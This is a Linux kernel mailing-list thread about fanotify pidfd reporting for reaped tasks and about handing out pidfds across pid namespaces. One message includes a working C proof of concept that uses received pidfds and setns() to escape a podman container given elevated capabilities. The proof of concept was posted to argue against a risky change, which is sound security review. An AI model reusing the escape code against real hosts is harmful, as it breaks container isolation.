> > > > > > > > > event pid is registered with pidfs when pidfd reporting is requested,
> > > > > > > > > then a later FAN_NOPIDFD or -ESRCH can only be caused by the task being
> > > > > > > > > invisible within the reader's pid namespace. But if we allow best-effort
> > > > > > > > > registration, the event may still carry a pinned struct pid, but pidfs
> > > > > > > > > registration may have failed due to memory pressure. If userspace reads
> > > > > > > > > the event after the task has been reaped, it still gets a FAN_NOPIDFD
> > > > > > > > > or -ESRCH due to failed pidfs registration caused by memory pressure,
> > > > > > > > > IMO this should be reported as a -ENOMEM instead of -ESRCH. But
> > > > > > > > > currently it seems we don't have a good way to register the pid with
> > > > > > > > > __GFP_NOFAIL or __GFP_RETRY_MAYFAIL, so what would be the preferred
> > > > > > > > > approach to handle this situation?
> > > > > > > >
> > > > > > > > Thanks for noticing the oddity and explaining the options.
> > > > > > > >
> > > > > > > > We could fail the event in case on ENOMEM because the system
> > > > > > > > is likely is a bad shape anyway and other events are likely to fail
> > > > > > > > allocation themselves, so I am not objecting to your patch as is,
> > > > > > > >
> > > > > > > > but I am slightly leaning towards the semantically ambiguous API.
> > > > > > >
> > > > > > > As usual, I think a semantically ambiguous api should be avoided.
> > > > > > >
> > > > > > > > I don't think that we are going to change the man page to say that
> > > > > > > > FAN_REPORT_PIDFD is guaranteed to return a pidfd, maybe we just
> > > > > > > > add a NOTE about increased likelihood of getting a pidfd since kernel XXX
> > > > > > > > and mention the known cases of pid namespace and ENOMEM.
> > > > > > >
> > > > > > > The pid namespace shouldn't matter.
> > > > > >
> > > > > > DO you mean that the event reader inside a pidns always gets a pidfd but
> > > > > > it will not be able to query the pid of the process outside the pidns
> > > > > > or do you mean something else?
> > > > >
> > > > > So they will always get a pidfd since fanotify is correctly using
> > > > > pidfd_prepare() directly. But when the reader tries to resolve the pidfd
> > > > > to say a pid or retrieve info via the pidfd info ioctl they would fail
> > > > > to do so (well, the pid will resolve to 0 which is the global indicator
> > > > > for "can't be resolved in your pidns").
> > > > >
> > > >
> > > > Before pidfd_prepare(), fanotify checks whether metadata.pid is
> > > > non-zero, i.e. whether the event pid is visible in the reader's pidns.
> > > > If it's not visible, fanotify will not create a valid pidfd and return a
> > > > FAN_NOPIDFD. This is the existing behavior, and my patches do not change
> > > > it.
> > >
> > > We can hand that out. That's another change we should consider. The
> > > pidfd works even if the pid namespace is outside the caller's hierarchy.
> >
> > I don't get the idea of allowing any insight for things outside of a process
> > namespace to be exposed by fanotify, apart from the information that something
> > happened on the watched filesystem object.
>
> If you only hand out the pid it's useless. If you have a pidfd you have
> reliable identity. You can use the pidfd-id (aka the 64-bit inode
> number) as an index into a hashtable for example and have a table of
> event generating tasks. If the task is dead the pidfd tells you that and
> you can delete it from the table. Or if you already hold a pidfd for the
> task and have e.g., isolated yourself in another pid namespace you can
> still figure out what task generated the event.
>
> Don't necessarily discount the ability to have a stable handle with a
> unique identifier per event. :)

I see your point, but in light of the attack of the LLMs, I am feeling
reluctant to hand out anything voluntarily to unpriv processes
before at least we got a feature request from someone who claims that
they need it...

Besides we did not give out pidfd with 0 pid until now, so this would
anyway be a change of behavior (program could assume it does not
even need to look for the pidfd extra info and close it with pid 0),
so I would not do this without yet another opt-in flag anyway.

Thanks,
Amir.

Re: [DRAFT][PATCH] fanotify: lift pidfd reporting restrictions

[Christian Brauner]

> > + * pidfs_register_pid - register a struct pid in pidfs
> > + * @pid: pid to pin
> > + *
> > + * Register a struct pid in pidfs.
> > + *
> > + * Return: On success zero, on error a negative error code is returned.
> > + */
> > +int pidfs_register_pid(struct pid *pid)

Make this a static inline in the header, please.

Re: [PATCH v4 2/2] fanotify: allow reporting pidfds for reaped tasks

[AnonymeMeow]

On 2026-06-05 09:54 +0200, Christian Brauner wrote:
> On Fri, Jun 05, 2026 at 04:29:47AM +0800, AnonymeMeow wrote:
> > On 2026-06-03 13:25 +0200, Christian Brauner wrote:
> > > On Wed, Jun 03, 2026 at 12:58:09PM +0200, Amir Goldstein wrote:
> > > > On Wed, Jun 3, 2026 at 12:28 PM Christian Brauner <brauner@kernel.org> wrote:
> > > > >
> > > > > On Wed, Jun 03, 2026 at 12:00:42PM +0200, Amir Goldstein wrote:
> > > > > > On Wed, Jun 3, 2026 at 5:11 AM AnonymeMeow <anonymemeow@gmail.com> wrote:
> > > > > > >
> > > > > > > Sashiko said that pidfs_register_pid() can fail under memory pressure,
> > > > > > > since it allocates memory using GFP_KERNEL without a way to pass in
> > > > > > > __GFP_NOFAIL. This can cause fanotify_alloc_event() to silently drop
> > > > > > > the event even when the group has an unlimited queue length.
> > > > > > >
> > > > > > > Should we make pidfs registration best-effort instead and still return
> > > > > > > the allocated event if pidfs_register_pid() fails? But IMO this will
> > > > > > > make the API semantically ambiguous. If the kernel guarantees that the
> > > > > > > event pid is registered with pidfs when pidfd reporting is requested,
> > > > > > > then a later FAN_NOPIDFD or -ESRCH can only be caused by the task being
> > > > > > > invisible within the reader's pid namespace. But if we allow best-effort
> > > > > > > registration, the event may still carry a pinned struct pid, but pidfs
> > > > > > > registration may have failed due to memory pressure. If userspace reads
> > > > > > > the event after the task has been reaped, it still gets a FAN_NOPIDFD
> > > > > > > or -ESRCH due to failed pidfs registration caused by memory pressure,
> > > > > > > IMO this should be reported as a -ENOMEM instead of -ESRCH. But
> > > > > > > currently it seems we don't have a good way to register the pid with
> > > > > > > __GFP_NOFAIL or __GFP_RETRY_MAYFAIL, so what would be the preferred
> > > > > > > approach to handle this situation?
> > > > > >
> > > > > > Thanks for noticing the oddity and explaining the options.
> > > > > >
> > > > > > We could fail the event in case on ENOMEM because the system
> > > > > > is likely is a bad shape anyway and other events are likely to fail
> > > > > > allocation themselves, so I am not objecting to your patch as is,
> > > > > >
> > > > > > but I am slightly leaning towards the semantically ambiguous API.
> > > > >
> > > > > As usual, I think a semantically ambiguous api should be avoided.
> > > > >
> > > > > > I don't think that we are going to change the man page to say that
> > > > > > FAN_REPORT_PIDFD is guaranteed to return a pidfd, maybe we just
> > > > > > add a NOTE about increased likelihood of getting a pidfd since kernel XXX
> > > > > > and mention the known cases of pid namespace and ENOMEM.
> > > > >
> > > > > The pid namespace shouldn't matter.
> > > > 
> > > > DO you mean that the event reader inside a pidns always gets a pidfd but
> > > > it will not be able to query the pid of the process outside the pidns
> > > > or do you mean something else?
> > > 
> > > So they will always get a pidfd since fanotify is correctly using
> > > pidfd_prepare() directly. But when the reader tries to resolve the pidfd
> > > to say a pid or retrieve info via the pidfd info ioctl they would fail
> > > to do so (well, the pid will resolve to 0 which is the global indicator
> > > for "can't be resolved in your pidns").
> > > 
> > 
> > Before pidfd_prepare(), fanotify checks whether metadata.pid is
> > non-zero, i.e. whether the event pid is visible in the reader's pidns.
> > If it's not visible, fanotify will not create a valid pidfd and return a
> > FAN_NOPIDFD. This is the existing behavior, and my patches do not change
> > it.
> 
> We can hand that out. That's another change we should consider. The
> pidfd works even if the pid namespace is outside the caller's hierarchy.
> 

I may be missing something, but I am concerned that lifting this
restriction could have security implications... Because it could weaken
the isolation provided by pidns. In the usual case, a task inside a
pidns cannot actively obtain a reference to tasks outside of that ns. If
fanotify is allowed to hand out pidfds across pidns boundaries, a task
inside the ns may be able to obtain access to resources that were
supposed to be isolated from it, such as other tasks' namespaces.

One possible attack surface I can think of is container escape. I wrote
a small toy PoC which escapes from a podman container using this
mechanism. Admittedly, the PoC requires sudo as well as SYS_ADMIN and
SYS_PTRACE caps, so it is not practical by itself. However, I am worried
that in other circumstances this could become a real attack surface.

I'm no expert in this area, so I do not think I am in a good position to
make that call myself... For now, I'm not planning to include removal of
this restriction in my patch set.

With Best Regards,
Anonymemeow

---

PoC code:

// toy.c

#define _GNU_SOURCE

#include <sys/fanotify.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/pidfd.h>
#include <sched.h>

int main()
{
    int fanotify_fd = fanotify_init(FAN_REPORT_PIDFD, 0);
    if (fanotify_fd < 0) {
        perror("fanotify_init");
        exit(1);
    }

    int ret = fanotify_mark(fanotify_fd, FAN_MARK_ADD | FAN_MARK_FILESYSTEM, FAN_ACCESS, 0, "/etc/resolv.conf");
    if (ret < 0) {
        perror("fanotify_mark");
        exit(1);
    }

    for (;;) {
        char buffer[65536];
        int len = read(fanotify_fd, buffer, sizeof(buffer));
        if (len < 0) {
            perror("read");
            break;
        }

        struct fanotify_event_metadata *metadata = (struct fanotify_event_metadata*)buffer;

        while (FAN_EVENT_OK(metadata, len)) {
            unsigned int offset = metadata->metadata_len;

            while (offset < metadata->event_len) {
                struct fanotify_event_info_header *info_hdr = (struct fanotify_event_info_header*)((char*)metadata + offset);

                if (info_hdr->info_type == FAN_EVENT_INFO_TYPE_PIDFD) {
                    struct fanotify_event_info_pidfd *pidfd_info = (struct fanotify_event_info_pidfd*)info_hdr;

                    if (setns(pidfd_info->pidfd,
                        CLONE_NEWNS |
                        CLONE_NEWCGROUP |
                        CLONE_NEWUTS |
                        CLONE_NEWIPC |
                        CLONE_NEWNET
                    )) {
                        perror("setns");
                        exit(1);
                    }

                    int mntinfo_fd = open("/proc/self/mountinfo", O_RDONLY);

                    len = read(mntinfo_fd, buffer, sizeof(buffer));
                    if (len < 0) {
                        perror("read");
                        exit(1);
                    }

                    printf("%s\n", buffer);

                    exit(0);
                }

            offset += info_hdr->len;
            }

            close(metadata->fd);

            metadata = FAN_EVENT_NEXT(metadata, len);
        }
    }

    close(fanotify_fd);
    return 0;
}

# gcc toy.c -o toy
# sudo podman run --rm --cap-add SYS_ADMIN,SYS_PTRACE -v ./toy:/root/toy debian:latest /root/toy

This PoC marks the fs backing the bind-mounted /etc/resolv.conf, which
in this setup is the host /run mount. This means when a process in the
host mntns accesses a file under /run, the program gets a chance to
receive its pidfd and call setns() on it, accomplishing the container
escape.

Re: [PATCH v4 2/2] fanotify: allow reporting pidfds for reaped tasks

[Christian Brauner]

On Sun, Jun 07, 2026 at 07:45:21AM +0800, AnonymeMeow wrote:
> On 2026-06-05 09:54 +0200, Christian Brauner wrote:
> > On Fri, Jun 05, 2026 at 04:29:47AM +0800, AnonymeMeow wrote:
> > > On 2026-06-03 13:25 +0200, Christian Brauner wrote:
> > > > On Wed, Jun 03, 2026 at 12:58:09PM +0200, Amir Goldstein wrote:
> > > > > On Wed, Jun 3, 2026 at 12:28 PM Christian Brauner <brauner@kernel.org> wrote:
> > > > > >
> > > > > > On Wed, Jun 03, 2026 at 12:00:42PM +0200, Amir Goldstein wrote:
> > > > > > > On Wed, Jun 3, 2026 at 5:11 AM AnonymeMeow <anonymemeow@gmail.com> wrote:
> > > > > > > >
> > > > > > > > Sashiko said that pidfs_register_pid() can fail under memory pressure,
> > > > > > > > since it allocates memory using GFP_KERNEL without a way to pass in
> > > > > > > > __GFP_NOFAIL. This can cause fanotify_alloc_event() to silently drop
> > > > > > > > the event even when the group has an unlimited queue length.
> > > > > > > >
> > > > > > > > Should we make pidfs registration best-effort instead and still return
> > > > > > > > the allocated event if pidfs_register_pid() fails? But IMO this will
> > > > > > > > make the API semantically ambiguous. If the kernel guarantees that the
> > > > > > > > event pid is registered with pidfs when pidfd reporting is requested,
> > > > > > > > then a later FAN_NOPIDFD or -ESRCH can only be caused by the task being
> > > > > > > > invisible within the reader's pid namespace. But if we allow best-effort
> > > > > > > > registration, the event may still carry a pinned struct pid, but pidfs
> > > > > > > > registration may have failed due to memory pressure. If userspace reads
> > > > > > > > the event after the task has been reaped, it still gets a FAN_NOPIDFD
> > > > > > > > or -ESRCH due to failed pidfs registration caused by memory pressure,
> > > > > > > > IMO this should be reported as a -ENOMEM instead of -ESRCH. But
> > > > > > > > currently it seems we don't have a good way to register the pid with
> > > > > > > > __GFP_NOFAIL or __GFP_RETRY_MAYFAIL, so what would be the preferred
> > > > > > > > approach to handle this situation?
> > > > > > >
> > > > > > > Thanks for noticing the oddity and explaining the options.
> > > > > > >
> > > > > > > We could fail the event in case on ENOMEM because the system
> > > > > > > is likely is a bad shape anyway and other events are likely to fail
> > > > > > > allocation themselves, so I am not objecting to your patch as is,
> > > > > > >
> > > > > > > but I am slightly leaning towards the semantically ambiguous API.
> > > > > >
> > > > > > As usual, I think a semantically ambiguous api should be avoided.
> > > > > >
> > > > > > > I don't think that we are going to change the man page to say that
> > > > > > > FAN_REPORT_PIDFD is guaranteed to return a pidfd, maybe we just
> > > > > > > add a NOTE about increased likelihood of getting a pidfd since kernel XXX
> > > > > > > and mention the known cases of pid namespace and ENOMEM.
> > > > > >
> > > > > > The pid namespace shouldn't matter.
> > > > > 
> > > > > DO you mean that the event reader inside a pidns always gets a pidfd but
> > > > > it will not be able to query the pid of the process outside the pidns
> > > > > or do you mean something else?
> > > > 
> > > > So they will always get a pidfd since fanotify is correctly using
> > > > pidfd_prepare() directly. But when the reader tries to resolve the pidfd
> > > > to say a pid or retrieve info via the pidfd info ioctl they would fail
> > > > to do so (well, the pid will resolve to 0 which is the global indicator
> > > > for "can't be resolved in your pidns").
> > > > 
> > > 
> > > Before pidfd_prepare(), fanotify checks whether metadata.pid is
> > > non-zero, i.e. whether the event pid is visible in the reader's pidns.
> > > If it's not visible, fanotify will not create a valid pidfd and return a
> > > FAN_NOPIDFD. This is the existing behavior, and my patches do not change
> > > it.
> > 
> > We can hand that out. That's another change we should consider. The
> > pidfd works even if the pid namespace is outside the caller's hierarchy.
> > 
> 
> I may be missing something, but I am concerned that lifting this
> restriction could have security implications... Because it could weaken
> the isolation provided by pidns. In the usual case, a task inside a
> pidns cannot actively obtain a reference to tasks outside of that ns. If
> fanotify is allowed to hand out pidfds across pidns boundaries, a task
> inside the ns may be able to obtain access to resources that were
> supposed to be isolated from it, such as other tasks' namespaces.
> 
> One possible attack surface I can think of is container escape. I wrote
> a small toy PoC which escapes from a podman container using this
> mechanism. Admittedly, the PoC requires sudo as well as SYS_ADMIN and
> SYS_PTRACE caps, so it is not practical by itself. However, I am worried
> that in other circumstances this could become a real attack surface.
> 
> I'm no expert in this area, so I do not think I am in a good position to
> make that call myself... For now, I'm not planning to include removal of
> this restriction in my patch set.

You would need ptrace_may_access() rights to the process for that to work.
If this is a real concern we should simply scope to the hierarchy
independent of the fanotify changes. Thanks for looking into this
closely. I appreciate it.